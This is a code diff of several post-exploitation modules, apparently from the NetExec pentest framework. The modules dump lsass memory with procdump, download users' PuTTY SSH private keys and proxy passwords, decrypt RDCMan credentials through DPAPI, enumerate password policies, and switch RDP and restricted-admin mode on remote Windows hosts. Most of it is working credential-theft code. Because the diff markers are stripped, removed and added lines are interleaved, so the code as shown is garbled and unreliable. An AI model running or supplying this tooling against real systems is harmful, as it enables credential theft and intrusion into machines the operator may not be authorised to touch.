context.log.success(f"Created file {self.procdump} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
context.log.fail(f"Error writing file to share {self.share}: {e}")
# get pid lsass
command = 'tasklist /v /fo csv | findstr /i "lsass"'
context.log.display("Getting lsass PID {}".format(command))
context.log.display(f"Getting lsass PID {command}")
p = connection.execute(command, True)
pid = p.split(",")[1][1:-1]
command = self.tmp_dir + self.procdump + " -accepteula -ma " + pid + " " + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp"
context.log.display("Executing command {}".format(command))
context.log.display(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
dump = False
@@ -91,30 +89,29 @@ class NXCModule:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
context.log.display("Copy {} to host".format(machine_name))
context.log.display(f"Copy {machine_name} to host")
with open(self.dir_result + machine_name, "wb+") as dump_file:
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success("Dumpfile of lsass.exe was transferred to {}".format(self.dir_result + machine_name))
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
except Exception as e:
context.log.fail("Error while get file: {}".format(e))
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
context.log.success("Deleted procdump file on the {} share".format(self.share))
context.log.success(f"Deleted procdump file on the {self.share} share")
except Exception as e:
context.log.fail("Error deleting procdump file on share {}: {}".format(self.share, e))
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success("Deleted lsass.dmp file on the {} share".format(self.share))
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail("Error deleting lsass.dmp file on share {}: {}".format(self.share, e))
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(self.dir_result + machine_name, "rb") as dump:
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
try:
credentials = []
credz_bh = []
try:
pypy_parse = pypykatz.parse_minidump_external(dump)
+94 -92
View File
@@ -1,109 +1,111 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dateutil.relativedelta import relativedelta as rd
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from math import fabs
import re
class NXCModule:
'''
Created by fplazar and wanetty
Module by @gm_eduard and @ferranplaza
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
'''
"""
Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
name = 'pso'
description = "Query to get PSO from LDAP"
supported_protocols = ['ldap']
Module by @_sandw1ch
"""
name = "pso"
description = "Module to get the Fine Grained Password Policy/PSOs"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
pso_fields = [
"cn",
"msDS-PasswordReversibleEncryptionEnabled",
"msDS-PasswordSettingsPrecedence",
"msDS-MinimumPasswordLength",
"msDS-PasswordHistoryLength",
"msDS-PasswordComplexityEnabled",
"msDS-LockoutObservationWindow",
"msDS-LockoutDuration",
"msDS-LockoutThreshold",
"msDS-MinimumPasswordAge",
"msDS-MaximumPasswordAge",
"msDS-PSOAppliesTo",
]
multiple_hosts = False
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
'''
No options available.
'''
pass
def convert_time_field(self, field, value):
time_fields = {
"msDS-LockoutObservationWindow": (60, "mins"),
"msDS-MinimumPasswordAge": (86400, "days"),
"msDS-MaximumPasswordAge": (86400, "days"),
"msDS-LockoutDuration": (60, "mins")
}
"""No options available."""
if field in time_fields.keys():
value = f"{int((fabs(float(value)) / (10000000 * time_fields[field][0])))} {time_fields[field][1]}"
return value
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
# Building the search filter
searchFilter = "(objectClass=msDS-PasswordSettings)"
# Are there even any FGPPs?
context.log.success("Attempting to enumerate policies...")
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
if len(resp) > 1:
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
context.log.highlight("")
context.log.success("Attempting to enumerate objects with an applied policy...")
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=self.pso_fields,
sizeLimit=0)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
logging.debug(e)
return False
pso_list = []
context.log.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
# Who do they apply to?
resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
for attrs in resp:
if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for attr in attrs["attributes"]:
if str(attr["type"]) in "msDS-PSOApplied":
context.log.highlight(f"Object: {attrs['objectName']}")
context.log.highlight("Applied Policy: ")
for value in attr["vals"]:
context.log.highlight(f"\t{value}")
context.log.highlight("")
pso_info = {}
# Let"s find out even more details!
context.log.success("Attempting to enumerate details...\n")
resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
"msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
"msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
"msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutThreshold":
lockoutThreshold = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordLength":
passwordLength = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordHistoryLength":
passwordhistorylength = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutObservationWindow":
observationWindow = attr["vals"][0]
elif str(attr["type"]) == "msDS-LockoutDuration":
lockoutDuration = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
precedence = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
complexity = attr["vals"][0]
elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
reverseibleEncryption = attr["vals"][0]
elif str(attr["type"]) == "msDS-MinimumPasswordAge":
minPassAge = attr["vals"][0]
elif str(attr["type"]) == "msDS-MaximumPasswordAge":
maxPassAge = attr["vals"][0]
elif str(attr["type"]) == "description":
description = attr["vals"][0]
elif str(attr["type"]) == "msDS-PSOAppliesTo":
policyApplies = ""
for value in attr["vals"]:
policyApplies += f"{value};"
context.log.highlight(f"Policy Name: {policyName}")
if description:
context.log.highlight(f"Description: {description}")
context.log.highlight(f"Minimum Password Length: {passwordLength}")
context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
context.log.highlight(f"Observation Window: {mins(observationWindow)}")
context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
context.log.highlight(f"Complexity Enabled: {complexity}")
context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
context.log.highlight("Policy Applies to:")
for value in str(policyApplies)[:-1].split(";"):
if value:
context.log.highlight(f"\t{value}")
context.log.highlight("")
try:
for attribute in item['attributes']:
attr_name = str(attribute['type'])
if attr_name in self.pso_fields:
pso_info[attr_name] = attribute['vals'][0]._value.decode('utf-8')
pso_list.append(pso_info)
def days(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(pso_list) > 0:
context.log.success('Password Settings Objects (PSO) found:')
for pso in pso_list:
for field in self.pso_fields:
if field in pso:
value = self.convert_time_field(field, pso[field])
context.log.highlight(u'{}: {}'.format(field, value))
context.log.highlight('-----')
else:
context.log.info('No Password Settings Objects (PSO) found.')
def mins(ldap_time):
return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
+221
View File
@@ -0,0 +1,221 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
# Session infos
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
sessions.append({
"user": self.user_dict[user],
"session_name": unquote(session_name),
"hostname": hostname,
"port": port,
"protocol": protocol,
"private_key_path": private_key_path,
"proxy_host": proxy_host,
"proxy_port": proxy_port,
"proxy_username": proxy_username,
"proxy_password": proxy_password
})
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
except Exception as e:
self.context.log.fail(f"Unexpected error: {e}")
self.context.log.debug(traceback.format_exc())
return sessions
def extract_session(self, sessions):
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
for session in sessions:
if session["private_key_path"]:
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
share = session["private_key_path"].split(":")[0] + "$"
file_path = session["private_key_path"].split(":")[1]
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
buf = BytesIO()
with open(download_path, "wb") as file:
try:
self.connection.conn.getFile(share, file_path, buf.write)
except Exception as e:
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
else:
self.context.log.exception(f"Error downloading private key: {e}")
continue
file.write(buf.getvalue())
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
if session["proxy_password"]:
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
self.context.log.highlight(f"Sessionname: {session['session_name']}")
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
self.context.log.highlight(f"Protocol: {session['protocol']}")
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
with open(proxycreds_file, "a") as f:
f.write("================\n")
f.write(f"User: {session['user']}\n")
f.write(f"Sessionname: {session['session_name']}\n")
f.write(f"Host: {session['hostname']}:{session['port']}\n")
f.write(f"Protocol: {session['protocol']}\n")
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
+16 -73
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.rdg import RDGTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
from dploot.triage.backupkey import BackupkeyTriage
@@ -26,11 +23,11 @@ class NXCModule:
self.masterkeys = None
if "PVK" in module_options:
self.pvkbytes = open(module_options["PVK"], "rb").read()
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
if "MKFILE" in module_options:
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
self.pvkbytes = open(module_options["MKFILE"], "rb").read()
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@@ -67,8 +64,7 @@ class NXCModule:
backupkey = backupkey_triage.triage_backupkey()
self.pvkbytes = backupkey.backupkey_v2
except Exception as e:
context.log.debug("Could not get domain backupkey: {}".format(e))
pass
context.log.debug(f"Could not get domain backupkey: {e}")
target = Target.create(
domain=domain,
@@ -89,7 +85,7 @@ class NXCModule:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
context.log.debug(f"Could not upgrade connection: {e}")
return
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
@@ -107,16 +103,17 @@ class NXCModule:
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
context.log.debug(f"Could not get masterkeys: {e}")
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys))))
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
try:
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
@@ -125,71 +122,17 @@ class NXCModule:
if rdcman_file is None:
continue
for rdg_cred in rdcman_file.rdg_creds:
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdcman_file.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
if rdg_cred.type in ["cred", "logon", "server"]:
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
for rdg_cred in rdgfile.rdg_creds:
if rdg_cred.type == "cred":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "logon":
context.log.highlight(
"[%s][%s] %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
elif rdg_cred.type == "server":
context.log.highlight(
"[%s][%s] %s - %s:%s"
% (
rdgfile.winuser,
rdg_cred.profile_name,
rdg_cred.server_name,
rdg_cred.username,
rdg_cred.password.decode("latin-1"),
)
)
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
if rdg_cred.type == "server":
log_text = f"{rdg_cred.server_name} - {log_text}"
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug("Could not loot RDCMan secrets: {}".format(e))
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+130 -134
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from sys import exit
from nxc.connection import dcom_FirewallChecker
@@ -11,12 +8,13 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
import contextlib
class NXCModule:
name = "rdp"
description = "Enables/Disables RDP"
supported_protocols = ["smb" ,"wmi"]
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
@@ -35,7 +33,7 @@ class NXCModule:
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=smb ACTION={enable, disable, enable-ram, disable-ram}
nxc smb 192.168.1.1 -u {user} -p {password} -M rdp -o METHOD=wmi ACTION={enable, disable, enable-ram, disable-ram} {OLD=true} {DCOM-TIMEOUT=5}
"""
if not "ACTION" in module_options:
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
exit(1)
@@ -44,26 +42,26 @@ class NXCModule:
exit(1)
self.action = module_options["ACTION"].lower()
if not "METHOD" in module_options:
if "METHOD" not in module_options:
self.method = "wmi"
else:
self.method = module_options['METHOD'].lower()
self.method = module_options["METHOD"].lower()
if context.protocol != "smb" and self.method == "smb":
context.log.fail(f"Protocol: {context.protocol} not support this method")
exit(1)
if not "DCOM-TIMEOUT" in module_options:
if "DCOM-TIMEOUT" not in module_options:
self.dcom_timeout = 10
else:
try:
self.dcom_timeout = int(module_options['DCOM-TIMEOUT'])
except:
self.dcom_timeout = int(module_options["DCOM-TIMEOUT"])
except Exception:
context.log.fail("Wrong DCOM timeout value!")
exit(1)
if not "OLD" in module_options:
if "OLD" not in module_options:
self.oldSystem = False
else:
self.oldSystem = True
@@ -73,136 +71,131 @@ class NXCModule:
if self.method == "smb":
context.log.info("Executing over SMB(ncacn_np)")
try:
smb_rdp = rdp_SMB(context, connection)
smb_rdp = RdpSmb(context, connection)
if "ram" in self.action:
smb_rdp.rdp_RAMWrapper(self.action)
smb_rdp.rdp_ram_wrapper(self.action)
else:
smb_rdp.rdp_Wrapper(self.action)
smb_rdp.rdp_wrapper(self.action)
except Exception as e:
context.log.fail(f"Enable RDP via smb error: {str(e)}")
context.log.fail(f"Enable RDP via smb error: {e!s}")
elif self.method == "wmi":
context.log.info("Executing over WMI(ncacn_ip_tcp)")
wmi_rdp = rdp_WMI(context, connection, self.dcom_timeout)
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, '_rdp_WMI__iWbemLevel1Login'):
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
wmi_rdp.rdp_RAMWrapper(self.action)
wmi_rdp.rdp_ram_wrapper(self.action)
except Exception as e:
if "WBEM_E_NOT_FOUND" in str(e):
context.log.fail("System version under NT6 not support restricted admin mode")
else:
context.log.fail(str(e))
pass
else:
try:
wmi_rdp.rdp_Wrapper(self.action, self.oldSystem)
wmi_rdp.rdp_wrapper(self.action, self.oldSystem)
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
context.log.fail('Looks like target system version is under NT6, please add "OLD=true" in module options.')
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
pass
wmi_rdp._rdp_WMI__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class rdp_SMB:
class RdpSmb:
def __init__(self, context, connection):
self.context = context
self.__smbconnection = connection.conn
self.__execute = connection.execute
self.logger = context.log
def rdp_Wrapper(self, action):
remoteOps = RemoteOperations(self.__smbconnection, False)
remoteOps.enableRegistry()
def rdp_wrapper(self, action):
remote_ops = RemoteOperations(self.__smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Terminal Server",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
ans = rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
"fDenyTSConnections",
rrp.REG_DWORD,
0 if action == "enable" else 1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections")
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "fDenyTSConnections")
if int(data) == 0:
self.logger.success("Enable RDP via SMB(ncacn_np) successfully")
elif int(data) == 1:
self.logger.success("Disable RDP via SMB(ncacn_np) successfully")
self.firewall_CMD(action)
self.firewall_cmd(action)
if action == "enable":
self.query_RDPPort(remoteOps, regHandle)
try:
remoteOps.finish()
except:
pass
self.query_rdp_port(remote_ops, reg_handle)
with contextlib.suppress(Exception):
remote_ops.finish()
def rdp_RAMWrapper(self, action):
remoteOps = RemoteOperations(self.__smbconnection, False)
remoteOps.enableRegistry()
def rdp_ram_wrapper(self, action):
remote_ops = RemoteOperations(self.__smbconnection, False)
remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
"System\\CurrentControlSet\\Control\\Lsa",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
rrp.hBaseRegSetValue(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
"DisableRestrictedAdmin",
rrp.REG_DWORD,
0 if action == "enable-ram" else 1,
)
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "DisableRestrictedAdmin")
